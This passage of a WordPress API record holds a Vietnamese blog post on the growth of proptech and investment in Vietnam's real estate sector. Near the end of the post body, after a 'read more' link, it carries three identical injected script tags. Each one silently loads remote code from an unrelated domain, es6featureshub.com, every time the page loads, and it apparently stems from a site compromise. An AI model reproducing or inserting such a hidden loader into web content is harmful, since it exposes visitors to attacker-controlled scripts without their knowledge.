s\u1ea3n t\u1ed1i \u01b0u h\u00f3a quy tr\u00ecnh kinh doanh v\u00e0 cung c\u1ea5p tr\u1ea3i nghi\u1ec7m t\u1ed1t h\u01a1n cho kh\u00e1ch h\u00e0ng.<\/p>\n<p>Ngo\u00e0i ra, v\u1edbi s\u1ef1 ph\u00e1t tri\u1ec3n c\u1ee7a th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n v\u00e0 xu h\u01b0\u1edbng s\u1ed1 h\u00f3a, proptech \u0111ang tr\u1edf th\u00e0nh m\u1ed9t l\u0129nh v\u1ef1c h\u1ea5p d\u1eabn cho c\u00e1c nh\u00e0 \u0111\u1ea7u t\u01b0. C\u00e1c startup proptech \u0111ang \u0111\u01b0\u1ee3c th\u00e0nh l\u1eadp v\u00e0 thu h\u00fat \u0111\u01b0\u1ee3c \u0111\u1ea7u t\u01b0 t\u1eeb c\u00e1c nh\u00e0 \u0111\u1ea7u t\u01b0 trong n\u01b0\u1edbc v\u00e0 qu\u1ed1c t\u1ebf. Vi\u1ec7c \u0111\u1ea7u t\u01b0 v\u00e0o proptech c\u00f3 th\u1ec3 gi\u00fap t\u0103ng c\u01b0\u1eddng kh\u1ea3 n\u0103ng c\u1ea1nh tranh v\u00e0 n\u00e2ng cao hi\u1ec7u qu\u1ea3 kinh doanh cho c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n<p><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam.jpg\" rel=\"lightbox-1\"><img decoding=\"async\" class=\"aligncenter size-full wp-image-38474 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam.jpg\" alt=\"\" width=\"909\" height=\"511\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam.jpg 909w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam-300x169.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam-768x432.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam-150x84.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/proptech-viet-nam-696x391.jpg 696w\" data-sizes=\"(max-width: 909px) 100vw, 909px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 909px; --smush-placeholder-aspect-ratio: 909\/511;\" \/><\/a><\/p>\n<p>C\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) \u0111ang tr\u1edf th\u00e0nh m\u1ed9t xu h\u01b0\u1edbng m\u1edbi trong ng\u00e0nh b\u1ea5t \u0111\u1ed9ng s\u1ea3n t\u1ea1i Vi\u1ec7t Nam. Vi\u1ec7c \u00e1p d\u1ee5ng c\u00e1c gi\u1ea3i ph\u00e1p proptech gi\u00fap c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n t\u1ed1i \u01b0u h\u00f3a quy tr\u00ecnh kinh doanh v\u00e0 cung c\u1ea5p tr\u1ea3i nghi\u1ec7m t\u1ed1t h\u01a1n cho kh\u00e1ch h\u00e0ng. Tri\u1ec3n v\u1ecdng c\u1ee7a proptech t\u1ea1i Vi\u1ec7t Nam l\u00e0 r\u1ea5t l\u1edbn, \u0111\u1eb7c bi\u1ec7t l\u00e0 trong b\u1ed1i c\u1ea3nh th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111ang ph\u00e1t tri\u1ec3n v\u00e0 xu h\u01b0\u1edbng s\u1ed1 h\u00f3a \u0111ang ng\u00e0y c\u00e0ng \u0111\u01b0\u1ee3c \u01b0a chu\u1ed9ng. Vi\u1ec7c \u0111\u1ea7u t\u01b0 v\u00e0o proptech c\u00f3 th\u1ec3 gi\u00fap t\u0103ng c\u01b0\u1eddng kh\u1ea3 n\u0103ng c\u1ea1nh tranh v\u00e0 n\u00e2ng cao hi\u1ec7u qu\u1ea3 kinh doanh cho c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n<p><strong>&gt;&gt;&gt; <a href=\"https:\/\/reti.vn\/blog\/he-sinh-thai-bat-dong-san-cong-nghe-reti\/\">Xem th\u00eam: H\u1ec7 sinh th\u00e1i b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u00f4ng ngh\u1ec7 \u2013 B\u01b0\u1edbc chuy\u1ec3n m\u00ecnh m\u1ea1nh m\u1ebd c\u1ee7a RETI<\/a><\/strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>C\u00f4ng ngh\u1ec7 b\u1ea5t \u0111\u1ed9ng s\u1ea3n (proptech) \u0111ang tr\u1edf th\u00e0nh m\u1ed9t xu h\u01b0\u1edbng m\u1edbi trong ng\u00e0nh b\u1ea5t \u0111\u1ed9ng s\u1ea3n t\u1ea1i Vi\u1ec7t Nam. V\u1edbi s\u1ef1 ph\u00e1t tri\u1ec3n c\u1ee7a c\u00f4ng ngh\u1ec7, c\u00e1c c\u00f4ng ty b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u00e3 b\u1eaft \u0111\u1ea7u \u00e1p d\u1ee5ng c\u00e1c gi\u1ea3i ph\u00e1p proptech \u0111\u1ec3 c\u1ea3i thi\u1ec7n tr\u1ea3i nghi\u1ec7m c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 t\u1ed1i \u01b0u h\u00f3a [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":38470,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[34],"tags":[],"class_list":{"0":"post-38469","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-thi-truong-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/06\/z4464693620764_2ab01ed6fe6fb117a5557750352dbfbf-scaled.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/38469","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=38469"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/38469\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/38470"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=38469"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=38469"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=38469"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}